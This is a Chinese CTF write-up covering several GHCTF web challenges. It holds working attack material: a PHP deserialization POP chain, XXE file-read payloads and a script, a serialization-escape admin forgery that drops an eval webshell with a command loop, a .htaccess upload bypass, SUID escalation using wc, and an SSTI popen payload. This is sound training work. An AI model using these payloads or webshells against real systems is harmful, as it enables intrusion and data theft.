本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。
Web
SQL???
参数直接给了测试一下,为数字型
order by出来到5 2,3,4,5都可注入
直接出最后select flag from flag
也可以用sqlmap一把梭
只是通过user-agent进⾏的过滤,加⼀个–random-agent即可
sqlmap -u xxxx?id=1 --random-agent --batch
sqlite数据库,查询和平时不太一样而已
Popppppp
源码
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Forbidden {
private $fruit3;
public function __construct($string) {
$this->fruit3 = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class UselessTwo {
public $hiddenVar = "123123";
public function __construct($value) {
$this->hiddenVar = $value;
}
public function __toString() {
return $this->hiddenVar;
}
}
class Warrior {
public $fruit12;
private $fruit13;
public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
class UselessThree {
public $dummyVar;
public function __call($name, $args) {
return $name;
}
}
class UselessFour {
public $lalala;
public function __destruct() {
echo "Hehe";
}
}
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}
刚开始以为是用call_user_func
去读,但是发现不行,拼接不上
最后是使用原生类去读
链子
__destruct()->fruitl1->new Samurai->fruitl6->new Mystery->DirectoryIterator/SplFileObject(fruitl11->'eS')
//如果能找到一个值,其二次 MD5 哈希结果转换为数字后为 0 或者 666,就可以绕过
解题脚本:
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
}
class Forbidden {
private $fruit3;
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
}
class Samurai {
public $fruit6;
public $fruit7;
}
class Mystery {
public $SplFileObject='/flag44545615441084';
}
class Princess {
protected $fruit9;
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
}
class UselessTwo {
public $hiddenVar = "123123";
}
class Warrior {
public $fruit12;
private $fruit13;
}
class UselessThree {
public $dummyVar;
}
class UselessFour {
public $lalala;
}
$a=new CherryBlossom(0);
$b=new Warlord();
$c=new Samurai();
$d=new Mystery();
$e=new Princess();
$f=new Philosopher();
$g=new UselessTwo(0);
$h=new Warrior();
$i=new UselessThree();
$j=new UselessFour();
$a->fruit1=$c;
$c->fruit6=$b;
$b->fruit4=$f;
$f->fruit10=$d;
$f->fruit11="eS";
#$d->DirectoryIterator='/';
#$d->SplFileObject='/flag44545615441084';
echo serialize($a);
(>﹏<)
无过滤XXE,直接打
from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index(): return open(__file__).read() @app.route('/ghctf',methods=['POST']) def parse(): xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe." parser = etree.XMLParser(load_dtd=True, resolve_entities=True) root = etree.fromstring(xml, parser) name=root.find('name').text return name or None if __name__=="__main__": app.run(host='0.0.0.0',port=8080)
在/ghctf下传
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
<name>&xxe;</name>
</root>
练习一下写脚本能力
import requests
# 配置⽬标信息
URL = "http://node1.anna.nssctf.cn:28713/ghctf" # 替换为实际⽬标地址
FILE = "/flag" # 尝试读取的⽂件路径
# 构造恶意XML
malicious_xml = f'''<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://{FILE}">
]>
<root>
<name>&xxe;</name>
</root>'''
# 发送恶意请求
response = requests.post(
URL,
data={'xml': malicious_xml},
timeout=10
)
# 解析响应
if response.status_code == 200:
print("[+] 攻击成功!响应内容:")
print(response.text)
//[+] 攻击成功!响应内容:
NSSCTF{e0530b64-1d62-4832-bb19-680a342ff504}
Escape!
下载附件,开始审计!
//class.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
class User
{
public $username;
public $isadmin;
public function __construct($username,$isadmin)
{
$this->username=$username;
$this->isadmin=$isadmin;
}
}
class Database {
private $host="";
private $db="";
private $user="";
private $password="root";
private $charset;
private $pdo;
public function __construct($host="localhost", $db="ctf", $user="root", $password="123456", $charset = 'utf8mb4') {
$this->host = $host;
$this->db = $db;
$this->user = $user;
$this->password = $password;
$this->charset = $charset;
$this->connect();
}
private function connect() {
$dsn = "mysql:host={$this->host};dbname={$this->db};charset={$this->charset}";
try {
$this->pdo = new PDO($dsn, $this->user, $this->password);
$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
echo "数据库连接失败: " . $e->getMessage();
exit;
}
}
public function query($sql, $params = []) {
$stmt = $this->pdo->prepare($sql);
$stmt->execute($params);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
public function insert($sql, $params = []) {
$stmt = $this->pdo->prepare($sql);
$stmt->execute($params);
return $this->pdo->lastInsertId();
}
public function update($sql, $params = []) {
$stmt = $this->pdo->prepare($sql);
return $stmt->execute($params);
}
public function delete($sql, $params = []) {
$stmt = $this->pdo->prepare($sql);
return $stmt->execute($params);
}
public function getPdo() {
return $this->pdo;
}
}
//waf.php
<?php
function waf($c)
{
$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
foreach($lists as $list){
$c=str_replace($list,"error",$c);
}
#echo $c;
return $c;
}
//dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
// 获取 Cookie 内容
if (isset($_COOKIE[$cookieName])) {
$token = $_COOKIE[$cookieName];
// 解码并分割数据和签名
$decodedToken = base64_decode($token);
list($serializedData, $providedSignature) = explode('|', $decodedToken);
// 重新计算签名
$calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);
// 比较签名是否一致
if ($calculatedSignature === $providedSignature) {
// 签名验证通过,返回序列化的数据
return $serializedData; // 反序列化数据
} else {
// 签名验证失败
return false;
}
}
return false; // 如果没有 Cookie
}
// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
#echo $userData;
$user=unserialize($userData);
#var_dump($user);
if($user->isadmin){
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']) {
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
}
}
else{
$tmp=file_get_contents("tmp/admin.html");
echo $tmp;
if($_POST['txt']||$_POST['filename']){
echo "<h1>权限不足,写入失败<h1>";
}
}
} else {
echo 'token验证失败';
}
//login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];
$SQL=new Database();
function login($db,$username,$password)
{
$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);
if(empty($data)){
die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['password']!==md5($password)){
die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
}
if($data[0]['username']==='admin') {
$user = new User($username, true);
}
else{
$user = new User($username, false);
}
return $user;
}
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
$signature = hash_hmac('sha256', $serializedData, $secretKey);
$token = base64_encode($serializedData . '|' . $signature);
setcookie($cookieName, $token, time() + 3600, "/"); // 设置有效期为1小时
}
$User=login($SQL,$username,$password);
$User_ser=waf(serialize($User));
setSignedCookie($User_ser);
header("Location: dashboard.php");
?>
//register.php
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>注册页面</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<h2 class="mt-5">注册</h2>
<form method="POST" action="register.php">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<div class="form-group">
<label for="confirm_password">确认密码</label>
<input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
</div>
<button type="submit" class="btn btn-primary">注册</button>
</form>
<div class="mt-3">
<p>已有账号?<a href="index.html" class="btn btn-link">登录</a></p>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function register($db, $username, $password) {
// 检查用户名是否存在
$existingUser = $db->query("SELECT * FROM users WHERE username = ?", [$username]);
if (!empty($existingUser)) {
return "用户名已存在!";
}
// 密码加密
$hashedPassword = md5($password);
// 插入用户数据
$userId = $db->insert("INSERT INTO users (username, password) VALUES (?, ?)", [$username, $hashedPassword]);
return "注册成功!";
}
$db=new Database();
$password=$_POST['password'];
$username=$_POST['username'];
if(!empty($password) and !empty($username)) {
$res = register($db, $username, $password);
}
echo $res;
注册页面就是个注册功能,查询库里有没有已存在的用户
在dashboard.php
中看到,只有isadmin
才可以上传文件,同时是根据token
验证的
在login.php
中看到是对$User
进行序列化操作,然后看到waf.php
中字符串替换,那必然是字符串逃逸了,大概就是对token
进行逃逸修改,身份改成isadmin
随便注册一个,拿到user_token
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjM6IjExMSI7czo3OiJpc2FkbWluIjtiOjA7fXw5ZTE5ZmEwZmVhOWYxODgwZjVhYzZmN2VlMTU0ZjVkMDZmMjJlOTkwZmE0MjhkNDQ0OWE0OGNhNzQ1MzQyMWQx
//O:4:"User":2:{s:8:"username";s:3:"111";s:7:"isadmin";b:0;}|9e19fa0fea9f1880f5ac6f7ee154f5d06f22e990fa428d4449a48ca7453421d1
就是要那个isadmin变为1就可以了
那么我们要构造逃逸的字符串就显而易见了,就是:
";s:7:"isadmin";b:0;}//一共21个字符串
替换利用的可以很多,随便选都可以,只要最后替换21个就可以
flag'''''";s:7:"isadmin";b:1;}
然后成功拿到权限,上传木马文件命令执行即可
想写攻击脚本,但是不知道为啥,就是能打通,但是输入命令他不执行???
from selectors import SelectSelector
import requests
import base64
# ⽬标 URL
base_url = "http://node6.anna.nssctf.cn:29654/" # 替换为实际的⽬标 URL
# 注册信息
username = "flag'''''\";s:7:\"isadmin\";b:1;}" # 注意:⽤户名中包含5个单引号
password = "123"
# Webshell 信息
webshell_filename = "shell.php"
webshell_content = "aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==" # <?php eval($_POST[a]);?> 的 base64 编码
webshell_url = f"{base_url}/{webshell_filename}"
# 创建 session 对象,⽤于保持 Cookie
session = requests.Session()
def register():
"""注册⽤户"""
register_url = f"{base_url}/register.php"
data = {
"username": username,
"password": password,
"confirm_password": password
}
response = session.post(register_url, data=data)
if "注册成功" in response.text:
print("[+] 注册成功!")
return True # 注册成功
elif "⽤户名已存在" in response.text:
print("[+] ⽤户名已存在,尝试直接登录...")
return False # ⽤户名已存在
else:
print("[-] 注册失败!")
print(response.text)
exit()
def login():
"""登录"""
login_url = f"{base_url}/login.php"
data = {
"username": username,
"password": password
}
response = session.post(login_url, data=data)
# print("[+] 登录响应头:")
# print(response.headers)
def upload_webshell():
"""上传 Webshell"""
upload_url = f"{base_url}/dashboard.php"
data = {
"filename": f"php://filter/write=convert.base64-decode/resource={webshell_filename}",
"txt": webshell_content
}
response = session.post(upload_url, data=data)
# print(response.text) #调试⽤的,可以看看返回了啥。
if "success" in response.text:
print("[+] 上传成功,但是可能没有回显")
elif "权限不⾜" in response.text:
print("[-] 上传失败,权限不⾜!")
exit()
else:
print("[+] 上传⽂件成功!")
def execute_command(command):
"""执⾏命令"""
data = {
"a": command # 连接密码是 a
}
response = session.post(webshell_url, data=data)
# 提取命令执⾏结果(根据实际情况调整)
output = response.text
print(f"[+] 命令执⾏结果:\n{output}")
def command_loop():
"""进⼊命令执⾏循环"""
print("[+] 进⼊命令执⾏模式,输⼊ 'exit' 或 'quit' 退出。")
while True:
command = input(">>> ")
if command.lower() in ["exit", "quit"]:
break
execute_command(command)
if __name__ == "__main__":
if not login(): # 先尝试登录
upload_webshell() # 上传 Webshell
command_loop() # 进⼊命令执⾏循环
难绷,脚本写的真烂
ez_readfile
<?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>
md5强碰撞的题,源码给了就都好说
这边利用师傅给的工具,过了md5强碰撞
这边是用到一个CVE-2024-2961
很难想到
这个是真不知道
GetShell
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {
$this->logLevel = $logLevel;
}
public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}
class UserManager {
private $users = [];
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}
if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {
$this->maxLength = $maxLength;
}
public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);
if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->addUser($username, $password);
}
if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
echo $userManager->authenticate($username, $password);
}
$logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic
有用的部分就是这个吧,审了一会
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
?action=run&input=ls
过滤了空格,有两种方法,1是反弹shell,2是往里面写木马
蚁剑直连
登进去了之后,读文件读不了,学到新东西了,提权suid
相当于就是直接提高权限去读sudo
./wc --files0-from "/flag"
成功,附上SUID提权的文章参考
https://www.cnblogs.com/gsh23/p/18109524
UPUPUP
提示文件上传,考的是apache的.htaccess配置绕过
上传图片马,需要绕过,可以利用GIF89a
绕过检测 但是为考虑文件完整性不被破坏,能够让他正常解析我们的图片马,所以还需要添加注释
#define width 1337
#define height 1337
addHandler application/x-httpd-php .png
后面就是正常的传图片马了
到时候试试学写一下纯攻击脚本
upload?SSTT!
下载源码:
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
可以看到最后读文件是要在/file/?.txt
路径下去读的
有一些黑名单
用fenjing秒一下
调用一下fenjing本地跑一下
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
print(f"{shell_payload=}")
{%set nb=lipsum|escape|batch(22)|first|last%}{{((lipsum[nb+nb+'globals'+nb+nb][nb+nb+'builtins'+nb+nb][nb+nb+'import'+nb+nb]('o''s')).popen('cat /f''lag')).read()}}
真不错,fenjing还可以这么用